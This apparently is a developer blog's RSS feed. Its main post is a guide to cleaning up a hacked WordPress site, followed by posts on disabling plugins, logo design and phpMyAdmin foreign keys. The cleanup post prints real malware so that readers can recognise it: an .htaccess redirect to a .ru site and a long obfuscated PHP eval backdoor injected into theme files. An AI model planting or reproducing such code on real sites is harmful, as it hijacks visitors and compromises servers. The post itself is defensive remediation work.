<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tom Storms</title>
	<atom:link href="http://tomstorms.com.au/feed/" rel="self" type="application/rss+xml" />
	<link>http://tomstorms.com.au</link>
	<description>Quality Programming and Design</description>
	<lastBuildDate>Tue, 24 Apr 2012 13:38:29 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=168</generator>
		<item>
		<title>Remove my WordPress Virus</title>
		<link>http://tomstorms.com.au/2012/remove-wordpress-virus/</link>
		<comments>http://tomstorms.com.au/2012/remove-wordpress-virus/#comments</comments>
		<pubDate>Fri, 09 Mar 2012 08:11:19 +0000</pubDate>
		<dc:creator>Tom Storms</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://tomstorms.com.au/?p=232</guid>
		<description><![CDATA[Your WordPress website has been running fine for months and you thought you&#8217;d be smart and pretend to be a user and click through to your website from a Facebook link (or similiar). All of a sudden you you get redirected to some random Russian or Indian site! Here&#8217;s what you could try: Backup Make [...]]]></description>
				<content:encoded><![CDATA[<p>Your WordPress website has been running fine for months and you thought you&#8217;d be smart and pretend to be a user and click through to your website from a Facebook link (or similiar). All of a sudden you you get redirected to some random Russian or Indian site! Here&#8217;s what you could try:</p>
<h2>Backup</h2>
<p>Make sure you backup of your files and database using before doing any modifications to your website. Better to have something than nothing.</p>
<h2>Go Offline</h2>
<p>Chuck your site into offline (if you can log into your backend, use a plugin like <a href="http://pippinsplugins.com/cgc-maintenance-mode-plugin-for-wordpress/">CGC Maintenance Mode</a> to redirect all pages to a single Page or to another website). At least you can attempt to let your users know you&#8217;re working to fix the problems on your website.</p>
<h2>Check your Files</h2>
<p>A virus or malware could affect one or multiple files on your WordPress website. I recommend you check the following:</p>
<ul>
<li>.htaccess (this is a hidden file)</li>
<li>index.php</li>
<li>header.php</li>
<li>footer.php</li>
<li>sidebar.php</li>
</ul>
<h2>.htaccess</h2>
<p>You may find that your redirection problem starts here.</p>
<div style="border-left: #CCC solid medium; padding: 10px; overflow:scroll">
<pre>RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|facebook)\.(.*)
RewriteRule ^(.*)$ http://pool-massage.ru/mysave/index.php [R=301,L]</pre>
</div>
<p>This is junk of code (above) you may find in your .htaccess file. Remove it immediately! What this is basically telling your browser is, if you clicked to your website through google.com, ask.com, yahoo.com.au, facebook.com (anything in the first RewriteCond) it will redirect to the pool-massage.ru website.</p>
<p>Ahh! So if I remove that its all good? Not quite&#8230; It might be good temporarily, but in some cases there could be other pages that are adding to this .htaccess file</p>
<h2>index.php, header.php, footer.php and sidebar.php</h2>
<p>What do all these pages have in common? They are all required pages for your website. So if you are smart, why not attack those pages too!</p>
<div style="border-left: #CCC solid medium; padding: 10px; overflow:scroll">
<pre>&lt;?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?&gt;</pre>
</div>
<p>And thats what they do&#8230; At the end of those pages, they tack this little chunk of code which basically tells the site to do stuff (there&#8217;s more detail about it <a href="http://wordpress.org/support/topic/java-exploit-hack-in-wp-33-beta">here</a>. There&#8217;s also a suggestion there for a fix).</p>
<h2>Secure your Files</h2>
<p>Now that you have cleaned up some of your files (not guaranteeing that the above will fix the entire site for you, but at least should help), make sure you secure your files. You can try the following:</p>
<ul>
<li><a href="http://www.ait-pro.com/aitpro-blog/297/bulletproof-security-plugin-support/bulletproof-security-wordpress-plugin-support/">BulletProof Security</a></li>
<li><a href="http://www.websitedefender.com/news/free-wordpress-security-scan-plugin/">WP Security Scan</a>
<li>
<li><a href="http://codex.wordpress.org/htaccess_for_subdirectories">Securing .htaccess files for WordPress</a></li>
</ul>
<h2>Further Help</h2>
<p>If you still cant fix it, you may want to try some of these:</p>
<ul>
<li>Revert to an older copy of your database/files &#8211; may contact your hosting provider to see if they have a backup</li>
<li>Contact your hosting provider and ask to check their FTP logs or run a scan on your database</li>
<li><a href="codex.wordpress.org/Forum_Welcome">WordPress Support Forum</a></li>
<li><a href="http://www.tomstorms.com.au/contact-me">Try Me</a></li>
</ul>
<li>Last resort &#8211; sorry, start over using a fresh copy of the WordPress setup (could try restoring your old database to see if it still works?)</li>
]]></content:encoded>
			<wfw:commentRss>http://tomstorms.com.au/2012/remove-wordpress-virus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress: Disable Plugins from phpMyAdmin</title>
		<link>http://tomstorms.com.au/2011/wordpress-disable-plugins/</link>
		<comments>http://tomstorms.com.au/2011/wordpress-disable-plugins/#comments</comments>
		<pubDate>Tue, 15 Mar 2011 06:35:58 +0000</pubDate>
		<dc:creator>Tom Storms</dc:creator>
				<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://tomstorms.com.au/?p=141</guid>
		<description><![CDATA[Having problems with your WordPress blog with pages just appearing blank? Having problems even logging in as the Administrator? Chances are there&#8217;s something wrong with a plugin you installed/activated. You can deactivate your plugins from phpMyAdmin by running this line of SQL: [code]UPDATE wp_options SET option_value = '' WHERE option_name = 'active_plugins';[/code] or you can [...]]]></description>
				<content:encoded><![CDATA[<p>Having problems with your WordPress blog with pages just appearing blank? Having problems even logging in as the Administrator? Chances are there&#8217;s something wrong with a plugin you installed/activated.</p>
<p>You can deactivate your plugins from phpMyAdmin by running this line of SQL:</p>
<p>[code]UPDATE wp_options SET option_value = '' WHERE option_name = 'active_plugins';[/code]</p>
<p>or you can see all your activated plugins running this line of SQL and checking out the <em>option_value</em> values:</p>
<p>[code]SELECT * FROM wp_options WHERE option_name = 'active_plugins';[/code]</p>
<p>If you have problems with these queries, just update the table name (<em>wp_options</em>) to include your prefix, i.e. <em>mysite_wp_options</em></p>
<p>You can reactivate them one-by-one, taking note of the last plugin you activate. When the site does break again you&#8217;ll know it was something to do with the last plugin you activated.</p>
]]></content:encoded>
			<wfw:commentRss>http://tomstorms.com.au/2011/wordpress-disable-plugins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Steps for a Perfect Logo!</title>
		<link>http://tomstorms.com.au/2011/steps-for-a-perfect-logo/</link>
		<comments>http://tomstorms.com.au/2011/steps-for-a-perfect-logo/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 10:56:13 +0000</pubDate>
		<dc:creator>Tom Storms</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Design]]></category>

		<guid isPermaLink="false">http://tomstorms.com.au/?p=133</guid>
		<description><![CDATA[If you take a look at logos today some have underlying messages where other&#8217;s just look horrible! So what makes a logo memorable, associative and just perfect? Let&#8217;s take a look&#8230; 1. The Research and Sketches I am a bit of a doodler and would be happy to sit in the park with a pencil [...]]]></description>
				<content:encoded><![CDATA[<p>If you take a look at logos today some have underlying messages where other&#8217;s just look horrible! So what makes a logo memorable, associative and just perfect?  Let&#8217;s take a look&#8230;</p>
<p><span id="more-133"></span></p>
<h2>1. The Research and Sketches</h2>
<p>I am a bit of a doodler and would be happy to sit in the park with a pencil and a pad just doodling random stuff, whether it be drawing some trees, database schema or  a logo. But when I need to create a logo, how do I do it?</p>
<p><strong>Research</strong>! Check out the company you are designing for and find out what their target audience is. What kind of products do they sell? Who are they trying to sell to? What age groups are they targeting? Male or Female? Build a profile of a potential client to that company and design a logo that would attract them.</p>
<p>Once you have that profile in mind, then its time to sketch! &#8220;But where do you get the ideas from?&#8221; &#8211; there are lots of ways to generate ideas. I found books like<em> </em><a href="http://astore.amazon.com/tomsto0e-20/detail/0440508274"><em>How To Think Like Leonardo Da Vinci</em> </a>and <a href="http://astore.amazon.com/tomsto0e-20/detail/9197547034"><em>The Idea Book</em></a> the most inspirational in terms of stimulating your mind with an idea. The idea is to sketch something, then sketch another sketch either based from the previous idea or a totally new one. With this <strong>evolutionary method of sketching</strong> one after another you may end up with 10-20 sketches, even if it is just the original sketch with a few tweaks.</p>
<p>If this method doesn&#8217;t work for you, take a look at some other logos online. Pull up <strong>Google Images </strong>and type keywords that are similar to the design you need, for example: &#8220;pots and pans logo&#8221;. I stress though, <strong>DO NOT COPY</strong> logos them straight from Google! Stay original and be inspired. Take a look at the the logo, what makes it so intriguing? Is it the lines, the colours, the no colour, balance etc. More important make sure the design itself is something that would suit whatever you&#8217;re designing for, i.e. kind of pointless making a logo of a dog, if you&#8217;re making it for a company dealing with cats.</p>
<p>Also consider having some kind of <strong>underlying symbol </strong>about the company in the logo, for example, check out the FedEx logo. Notice the arrow between the E and X characters?</p>
<h2>2. Sketch to Digital</h2>
<p>Once you have a few sketches you&#8217;re ok on, its time to transfer them into a digital format. How to do this? You can scan it or take a photo of it (assuming there is good light on your sketch). Then open up your imaging software, whether its Corel&#8217;s Paint Shop Pro, Adobe Photoshop, Fireworks, Illustrator or Paint.NET (to mention a few), but please dont say &#8216;What about Paint?&#8217;. Paint (as in mspaint.exe) is just old school and you wont be able to do the nitty-gritty that you should have control over &#8211; of course its always possible. I would recommend Photoshop, or better still Illustrator because its vector based allowing you to increase or decrease a graphic without it getting pixelated (you can read more about it on <a href="http://en.wikipedia.org/wiki/Vector_graphics_editor">Wiki</a>).</p>
<p>Drag in your scanned sketches and trace the outlines of the sketch using the Pen tool or similar. Try and keep parts of the logo in different layers so that you can modify and experiment with the visual characteristics of the logo. Make sure to save your work!</p>
<h2>3. The Visual Characteristics</h2>
<p>Here are There are several characteristics you should consider when designing a logo.</p>
<ul>
<li><strong>Balance</strong>: make sure the design looks balanced &#8211; as in weights on a scale balanced. Humans tend to naturally perceive a design that&#8217;s balanced to be more attractive and appealing. So if you a cat to the left, make sure there&#8217;s a dog on the right (and maybe ball in the middle, just for fun)</li>
<li><strong>Colour</strong>: I would suggest checking out the <a href="http://www.colormatters.com/colortheory.html">Color Matters</a> website. Great explanation of the colours you should use and how colours compliment each other. Basically, try to use colours near each other, make sure the logo looks good on black and white, grayscale and two colours. Keep in mind if the subject you&#8217;re designing for already has an existing colour palette you can work from.</li>
<li><strong>Size</strong>: Make sure your design is at an appropriate size, not too big and over-powering, nor not too small and need glasses to see it.</li>
<li><strong>Detail</strong>: May vary on your design, but does adding more detail to your logo make it more confusing or cluttered? If you removed the detail, would people still get the message of what the company is supposed to stand for? No need to detail the draw hair of a dog, if the outline looks like a dog. Just KISS (Keep It Simple, Stupid) your design.</li>
<li><strong>Trendy or Cool</strong>: Depending on the research results and profile I have made, I often would step back and look at the designs I created. Does it look trendy or cool but is clean looking, have the element of professionalism and is of high quality? If it doesnt, maybe play around with with some of the above characteristics and notice how much of a difference it really does make.</li>
<li><strong>Effects</strong>: Don&#8217;t get carried away with all these crazy effects that are available in some imaging software. Adding them wont necessarily give any emphasis to your design and some cases may just ruin your logo. Dont get carried away! Remember simplicity is the key!</li>
</ul>
<h2>4. Using Fonts (or not)</h2>
<p>Optional, but make sure the right typography compliments the logo and reflects the company. Don&#8217;t select a handwriting and flowing font if you&#8217;re designing for a construction company. What does this stay about the company? That is run by a heap of girls? It should be strong and tough. Similar to the visual characteristics of the logo, make sure the font compliments the entire logo!</p>
<h2>5. Review</h2>
<p>How does it look? Does the logo represent the company you are designing for? Does it fit your researched profile? If you were that person would you want to buy from that company? Run it by a few friends that could fit your research profile and get feedback on what they think. If you feel it matches what is required of you, shoot it back to the client to get their feedback. Depending on your arrangements, just let them know that its just preliminary and that you can always change parts of the design &#8211; but just watch the number of revisions!</p>
]]></content:encoded>
			<wfw:commentRss>http://tomstorms.com.au/2011/steps-for-a-perfect-logo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpMyAdmin Foreign Keys</title>
		<link>http://tomstorms.com.au/2011/phpmyadmin-foreign-keys/</link>
		<comments>http://tomstorms.com.au/2011/phpmyadmin-foreign-keys/#comments</comments>
		<pubDate>Sun, 20 Feb 2011 04:08:17 +0000</pubDate>
		<dc:creator>Tom Storms</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[foreign keys]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[phpmyadmin]]></category>

		<guid isPermaLink="false">http://tomstorms.com.au/?p=49</guid>
		<description><![CDATA[This guide is to setup phpMyAdmin to support Foreign Keys for your MySQL database. Task: What I want to do is, when I delete or update a teacher in the teachers table, it will cascade changes down to students in the students table. Or when I delete a school from the schools table, it will [...]]]></description>
				<content:encoded><![CDATA[<p>This guide is to setup <strong>phpMyAdmin </strong>to support <strong>Foreign Keys </strong>for your <strong>MySQL </strong>database.</p>
<p><span style="text-decoration: underline;">Task:</span> What I want to do is, when I delete or update a teacher in the <em>teachers</em> table, it will cascade changes down to students in the <em>students</em> table. Or when I delete a school from the <em>schools</em> table, it will remove/update any associated teachers and students that are related to that school being deleted/updated.</p>
<p><span id="more-49"></span></p>
<p><strong>Hierarchy of Tables and Keys</strong></p>
<p>The example in this post uses 3 tables:</p>
<p>- <em>schools</em><br />
&#8212; <em>teachers</em><br />
&#8212;&#8212; <em>students</em></p>
<p>Primary keys:<em> </em></p>
<p><em>schools.schoolid</em><br />
<em>teachers.teacherid</em><br />
<em>students.studentid</em></p>
<p>With these wanna-be foreign keys, I have students that will to be referenced to their teacher, and their teacher to be referenced to a school:<em> </em></p>
<p><em>teachers.schoolid</em><br />
<em>students.teacherid</em></p>
